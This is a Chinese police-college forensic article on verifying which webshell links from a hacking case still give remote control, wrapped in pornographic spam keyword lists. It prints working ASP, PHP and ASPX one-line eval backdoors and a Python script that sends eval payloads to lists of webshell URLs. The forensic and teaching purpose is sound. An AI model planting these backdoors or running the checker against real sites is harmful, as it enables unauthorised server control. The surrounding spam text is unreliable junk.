亚洲免费av电影一区二区三区,日韩爱爱视频,51精品视频一区二区三区,91视频爱爱,日韩欧美在线播放视频,中文字幕少妇AV,亚洲电影中文字幕,久久久久亚洲av成人网址,久久综合视频网站,国产在线不卡免费播放

        ?

        電子數(shù)據(jù)檢驗中常見Webshell有效性的檢驗鑒定

        2019-08-07 06:01:16吳玉強吳育寶

        ◆吳玉強 吳育寶

        (南京森林警察學(xué)院信息技術(shù)學(xué)院 江蘇 210023)

        Webshell又叫網(wǎng)站后門,它是一種基于 Web的入侵腳本程序[1]。黑客通常在入侵網(wǎng)站后,在Web服務(wù)器的目錄中放置諸如ASP、JSP或PHP 等腳本木馬后門文件,這樣就相當于留下了網(wǎng)站后門。當黑客再想入侵該網(wǎng)站時,就可以直接通過這些后門文件控制網(wǎng)站服務(wù)器,以便實現(xiàn)程序命令執(zhí)行、上傳或下載文件、數(shù)據(jù)庫操作等功能。據(jù)統(tǒng)計,僅僅2018年12月份,我國境內(nèi)被植入木馬后門的網(wǎng)站數(shù)量就多達 2317個[2]。所以一旦網(wǎng)站被植入Webshell,則意味著攻擊者就可以利用該漏洞獲取服務(wù)器的控制權(quán)限,進而進行后續(xù)一系列的不法行為。因此在電子數(shù)據(jù)檢驗鑒定領(lǐng)域中針對這些 Webshell遠程控制鏈接有效性的檢驗在案件的偵辦過程中就顯得尤為重要。

        1 常見Webshell種類及特點

        根據(jù)腳本程序的大小和功能,我們通常將 Webshell分為三類:“大馬”、“小馬”和“一句話木馬”。

        1.1 大馬

        大馬操作界面友好,需要密碼配合方能登錄使用。大馬功能豐富,一般包括提權(quán)、磁盤管理、數(shù)據(jù)庫連接甚至漏洞利用代碼等。為了躲避檢測,大馬一般使用混淆或者加解密壓縮等方法,前者叫未加密的Webshell,后者被稱為加密的Webshell[3]。大馬體積一般較大,文件大小一般在50K以上。

        1.2 小馬

        小馬功能較少,一般只有上傳或數(shù)據(jù)庫提權(quán)等簡單功能,它通常用作大馬的跳板,當網(wǎng)站對上傳文件大小進行限制時,攻擊者先使用小馬,將其作為上傳大馬的中轉(zhuǎn)站。小馬文件大小一般不大,往往不存在密碼保護。

        1.3 一句話木馬

        一句話木馬其實就是一句話的腳本,其功能就是為代碼執(zhí)行提供一種環(huán)境,比如eval( )函數(shù),在入侵中扮演著強大的作用。常見的一句話木馬如ASP一句話木馬:<%eval request(“c”)%>;PHP 一句話木馬:<?PHP eval($_POST[value]);?>;ASPX 一句話木馬:<%eval(Request.Item[“value”])%>等。為了躲避查殺檢測,一句話木馬可以經(jīng)過混淆或者加密變形,這樣插入到Web網(wǎng)站代碼中就很難被管理員發(fā)現(xiàn),隱秘性高、檢測困難。

        2 常見Webshell的檢驗鑒定

        近年來,隨著國家網(wǎng)絡(luò)通信設(shè)施的全面普及,互聯(lián)網(wǎng)的發(fā)展也進入深水區(qū),網(wǎng)絡(luò)技術(shù)在改善我們生活的同時,也帶來諸多安全隱患。諸如非法控制計算機信息系統(tǒng)、非法獲取計算機信息系統(tǒng)數(shù)據(jù)等類型的網(wǎng)絡(luò)犯罪案件時常出現(xiàn),給計算機信息系統(tǒng)安全、網(wǎng)絡(luò)空間管理秩序帶來了威脅和挑戰(zhàn)。

        而諸如通過 Webshell非法控制他人計算機信息系統(tǒng)在網(wǎng)絡(luò)犯罪中占到很大比例,已經(jīng)成為當前網(wǎng)絡(luò)黑色產(chǎn)業(yè)鏈中的上游環(huán)節(jié)。黑客或不法分子通過控制他人計算機信息系統(tǒng)可以進行諸多違法犯罪活動,如植入暗鏈、傳播木馬病毒、DDoS 攻擊、侵犯公民個人信息等,為下游各類違法犯罪提供“精準服務(wù)”,或為電信網(wǎng)絡(luò)詐騙、網(wǎng)絡(luò)惡意攻擊提供技術(shù)支持,導(dǎo)致增加案件破獲難度,降低犯罪成本[4]。

        根據(jù)2011年最高人民法院最高人民檢察院《關(guān)于辦理危害計算機信息系統(tǒng)安全刑事案件應(yīng)用法律若干問題的解釋》(以下簡稱《解釋》)第一條中規(guī)定,違反國家規(guī)定,非法控制計算機信息系統(tǒng)20臺以上的,應(yīng)當認定為刑法第285條第二款規(guī)定的“情節(jié)嚴重”,構(gòu)成非法控制計算機信息系統(tǒng)罪;非法控制計算機信息系統(tǒng)數(shù)量達到標準5倍以上的,屬“情節(jié)特別嚴重”。因此針對控制計算機信息系統(tǒng)數(shù)量認定的檢驗在此類案件的偵辦中尤為重要。

        3 一個Webshell有效性的檢驗鑒定實例

        3.1 案情簡介

        2015年10月至2017年10月間,被告人黎某通過QQ聊天等與被告人賈某聯(lián)系、商定,由賈某采用植入木馬程序等方式非法獲取網(wǎng)站后臺管理控制權(quán)限,然后將該網(wǎng)站控制權(quán)限等內(nèi)容告知黎某,黎某支付一定報酬給賈某。黎某從賈某處獲取網(wǎng)站控制權(quán)限后,非法侵入他人網(wǎng)站后臺并添加“跳轉(zhuǎn)”鏈接為賭博公司等做廣告推廣,從而獲取利潤。

        現(xiàn)從兩人的QQ聊天記錄中檢出一句話木馬鏈接315條(ASP 69條,ASPX 181條,PHP 65條),大馬鏈接415條。

        3.2 檢驗要求

        檢驗聊天記錄中Webshell有效遠程控制鏈接的數(shù)量。

        3.3 檢驗執(zhí)行標準

        本次檢驗使用《電子數(shù)據(jù)法庭科學(xué)鑒定通用方法》(標準編號:GA/T 976-2012)標準、《數(shù)字化設(shè)備證據(jù)數(shù)據(jù)發(fā)現(xiàn)提取固定方法》(標準編號:GA/T 756-2008)標準。

        3.4 檢驗實施環(huán)境

        在檢驗實施環(huán)境上,和其他電子數(shù)據(jù)檢驗類似,我們需要檢驗鑒定工作站一臺(具體CPU、內(nèi)存、硬盤、操作系統(tǒng)等參數(shù)省去)、文件校驗工具HashTab;壓縮包軟件、錄屏軟件Bandicam)、視頻采集設(shè)備、Mozilla Firefox及Python運行環(huán)境等工具軟件。

        3.5 檢驗鑒定方法

        (1)網(wǎng)絡(luò)環(huán)境真實性的校驗

        針對本案的檢驗鑒定,不論是一句話木馬的檢驗還是大馬的檢驗,都是通過網(wǎng)絡(luò)通訊的方式對那些遠程控制鏈接的有效性進行遠程驗證。所以,正式驗證之前,必須要對檢驗鑒定工作站的網(wǎng)絡(luò)環(huán)境進行真實性校驗。整個檢驗過程需要全程錄像,具體步驟如下:

        ①啟動“命令提示符”(CMD)窗口;

        ②執(zhí)行 ipconfig /all命令,查看本機網(wǎng)絡(luò)基本信息,其中可得到檢驗鑒定工作站的DNS服務(wù)器ip地址;

        ③執(zhí)行more C:Windowssystem32driversetchosts命令,查看本機HOSTS域名解析文件,結(jié)果顯示該檢驗鑒定工作站沒有域名通過HOSTS文件進行本地靜態(tài)設(shè)置;

        ④執(zhí)行ping www.baidu.com命令,測試檢驗鑒定工作站到百度網(wǎng)的通達狀態(tài);

        ⑤執(zhí)行 ping www.sina.com.cn命令,測試檢驗鑒定工作站到新浪網(wǎng)的通達狀態(tài);

        ⑥執(zhí)行ping 114.114.114.114命令,測試檢驗鑒定工作站到配置的DNS服務(wù)器(IP地址為114.114.114.114)的通達狀態(tài);

        ⑦執(zhí)行tracert 114.114.114.114命令,測試檢驗鑒定工作站與DNS服務(wù)器的路由狀態(tài);

        ⑧執(zhí)行tracert www.baidu.com命令,測試檢驗鑒定工作站與百度服務(wù)器之間的路由狀態(tài);

        ⑨通過瀏覽器打開百度網(wǎng)(https://www.baidu.com),搜索“時間”關(guān)鍵詞獲取當前網(wǎng)絡(luò)時間并與本機系統(tǒng)時間比對進行時間校驗。

        我們通過上述1-9的操作,可以認定檢驗鑒定工作站上沒有域名進行本地靜態(tài)解析、工作站訪問互聯(lián)網(wǎng)狀態(tài)正常、DNS解析正常、時間正常,整個工作站的網(wǎng)絡(luò)環(huán)境是沒有問題的。這是進行后續(xù)檢驗的基礎(chǔ),是必不可少的環(huán)節(jié)。黨的十八屆四中全會提出“推進以審判為中心的訴訟制度改革”以來,鑒定人出庭作證制度作為實現(xiàn)審判中心地位的重要環(huán)節(jié),鑒定人在檢驗鑒定過程中務(wù)必做到科學(xué)嚴謹。

        (2)具體檢驗鑒定方法

        確認檢驗鑒定工作站的相關(guān)環(huán)境符合要求之后,就可以對案件中的遠程控制鏈接正式進行檢驗鑒定。

        ①手動驗證法

        首先將篩選出的遠程控制鏈接整理成下列文件:

        a)ASP一句話列表,文件名ASP.txt;

        b)ASPX一句話列表,文件名ASPX.txt;

        c)PHP一句話列表,文件名PHP.txt;

        d)大馬列表,文件名19062.txt。

        上述四個文件內(nèi)其實就是一些網(wǎng)頁URL地址,以PHP一句話列表文件為例,其內(nèi)容如圖1所示。

        圖1 PHP一句話木馬文件內(nèi)容

        所謂手動驗證法就是對梳理出來的 Webshell記錄通過相關(guān)軟件工具逐一進行手動驗證。

        對于一句話木馬:將梳理出的一句話木馬記錄文件拷貝到檢驗鑒定工作站的桌面上,啟動軟件“中國菜刀”,對給定的所有Webshell逐一加以驗證。最后將可以正常連接的記錄保存并計算MD5哈希值即可。

        對于大馬:同樣,將梳理出的大馬記錄文件拷貝到檢驗鑒定工作站的桌面上,啟動瀏覽器,對給定的所有Webshell逐一加以驗證。最后將可以正常連接的記錄保存并計算MD5哈希值即可。

        注意,以上檢驗都要進行屏幕同步錄像。

        ②自動測試法

        本案中,共需檢驗一句話木馬鏈接315條(ASP 69條,ASPX 181條,PHP 65條),大馬鏈接409條,數(shù)量眾多,如果通過手工進行一一驗證,費時費力,且容易遺漏、出錯。如果通過程序腳本進行自動化測試驗證,則能夠顯著提高檢驗鑒定效率和準確率。因此,可以通過編寫自動測試腳本分別對其中的一句話木馬鏈接、大馬鏈接進行測試,確定其中有效的遠程控制鏈接數(shù)量。接下來,用事先編寫好的Python腳本程序進行檢驗鑒定。

        對于一句話木馬:編寫自動測試腳本對一句話木馬的可用性進行檢驗。腳本根據(jù)ASP、ASPX、PHP等不同語言站點的不同特點設(shè)計了針對性的測試語句,通過回顯判斷的方法測試其可用性。具體腳本代碼如下:

        #!/usr/bin/env python

        # -*- encoding: utf-8 -*-

        import requests

        from multiprocessing.dummy import Pool, Lock

        pool = Pool(8)

        lock = Lock()

        payload_pool = {

        'ASPX': 'Response.Write("SixSeven@ccc");Response.End();',

        'ASP':

        'eval("response.write(chr(83)+chr(105)+chr(120)+chr(83)+chr(101)+chr(118)+chr(101)+chr(110)+chr(64)+chr(99)+chr(99)+chr(99))")',

        'PHP': 'eval(base64_decode($_POST[z0]));'

        }

        fuzzpool = ['ASP', 'ASPx', 'PHP']

        passwd = "!@#QWE321321" # 一句話木馬密碼

        def fuzzing(url):

        p={passwd:payload, 'z0': 'ZWNobyAiU2l4U2V2ZW5AY2NjIj s='}

        try:

        r = requests.post(url, data=p, timeout=5)

        if 'SixSeven@ccc' in r.text:

        lock.acquire()

        print "%s" % (url, )

        lock.release()

        return True

        else:

        return False

        except:

        return False

        if __name__ == '__main__':

        for fuzztype in fuzzpool:

        payload = payload_pool[fuzztype]

        with open(fuzztype+'.txt', 'r') as l: # 讀入一句話木馬列表

        p = [i.strip() for i in l.readlines()]

        ret = pool.map(fuzzing, p)

        通過上述腳本檢出可用的遠程控制鏈接217條,其中ASP一句話木馬48條,ASPX一句話木馬131條,PHP一句話木馬38條。檢驗結(jié)果導(dǎo)出在文件“webshell.txt”中。

        對于大馬:同樣通過編寫腳本抓取了大馬中的特征字段,自動請求木馬頁面并進行特征匹配,借此判斷木馬可用性。具體腳本代碼此處省去。

        以上腳本執(zhí)行過程要全程屏幕同步錄像。

        3.6 論證(分析說明)

        上文中不論是手動一一驗證法還是通過腳本程序自動測試法,都是我們在日常的電子數(shù)據(jù)檢驗中針對Webshell有效性檢驗的常用方法。但不管用哪種方法,其底層原理都是通過遠程檢驗的形式對獲取到的木馬信息進行逐一檢驗,并梳理出可用的木馬記錄。此外,針對檢驗結(jié)果還需進行比對、剔除重復(fù)記錄,這樣得到最終的結(jié)果才是嫌疑人有效非法控制計算機信息系統(tǒng)的數(shù)量。

        腳本程序自動測試法不僅在本案中能夠顯著提高檢驗效率,在其他一些電子數(shù)據(jù)檢驗案件中也同樣發(fā)揮著重要作用。比如,在一起傳播淫穢視頻案件的檢驗鑒定中,犯罪嫌疑人通過微信群大量發(fā)送淫穢視頻的鏈接,數(shù)量多達數(shù)千個,且視頻鏈接包含流媒體視頻鏈接、磁力鏈接形式和以ed2k存在的視頻等多種形式。毫無疑問,如果通過手動對上千個視頻一一根據(jù)其特征選擇合適的工具軟件進行下載固定的話,工作量是不可想象的,那么這時,如果通過腳本程序?qū)σ曨l鏈接對應(yīng)的網(wǎng)絡(luò)視頻進行自動化下載固定,就會顯著提高工作效率。

        4 結(jié)束語

        本文通過分析一起典型的非法控制計算機信息系統(tǒng)案例,對該案中Webshell遠程控制鏈接有效性的檢驗鑒定,分別介紹了手動驗證和自動測試這兩種檢驗方法,并對檢驗進行論證說明,以確保檢驗鑒定的科學(xué)性及嚴謹性。但由于目前我國尚缺乏明確的針對此類案件檢驗鑒定的標準和技術(shù)規(guī)范,導(dǎo)致鑒定機構(gòu)在司法鑒定實踐中沒有參照依據(jù)[5],故建議相關(guān)部門盡早制定更加適用此類案件檢驗鑒定的標準或技術(shù)操作規(guī)范。

        亚洲一区二区三区少妇| 亚洲中文久久久久无码| 男男互吃大丁视频网站| 国产一区二区精品人妖系列在线| 曰韩无码无遮挡a级毛片| 久久精品视频在线看99| 青草青草伊人精品视频| 亚洲中文字幕乱码在线观看| 亚洲精品无码永久中文字幕| 国产成人免费一区二区三区| 久久精品国产6699国产精| 亚洲无av码一区二区三区| 绝顶高潮合集videos| 成全高清在线播放电视剧| 精品18在线观看免费视频| 亚洲国语对白在线观看| 无码喷潮a片无码高潮| 国产精品国产成人国产三级| 中文字幕精品一二三区| av一区二区三区观看| 色欲人妻aaaaaaa无码| 中文字幕国产精品一二三四五区| 亚洲色大成网站www久久九九 | 日韩美女人妻一区二区三区| 国产视频在线观看一区二区三区| 欧美伦费免费全部午夜最新| 久久棈精品久久久久久噜噜| 久久久国产精品ⅤA麻豆百度| 一区视频免费观看播放| 久久精品国产亚洲7777| 在线播放人成午夜免费视频| 亚洲色图在线视频观看| 末成年人av一区二区| 真人无码作爱免费视频禁hnn| 亚洲中文字幕巨乳人妻| 可以直接在线看国产在线片网址| 99久久精品免费观看国产| 亚洲精品久久国产高清情趣图文| 久久久久成人精品免费播放| 最新在线观看免费的a站国产| 青春草在线视频免费观看|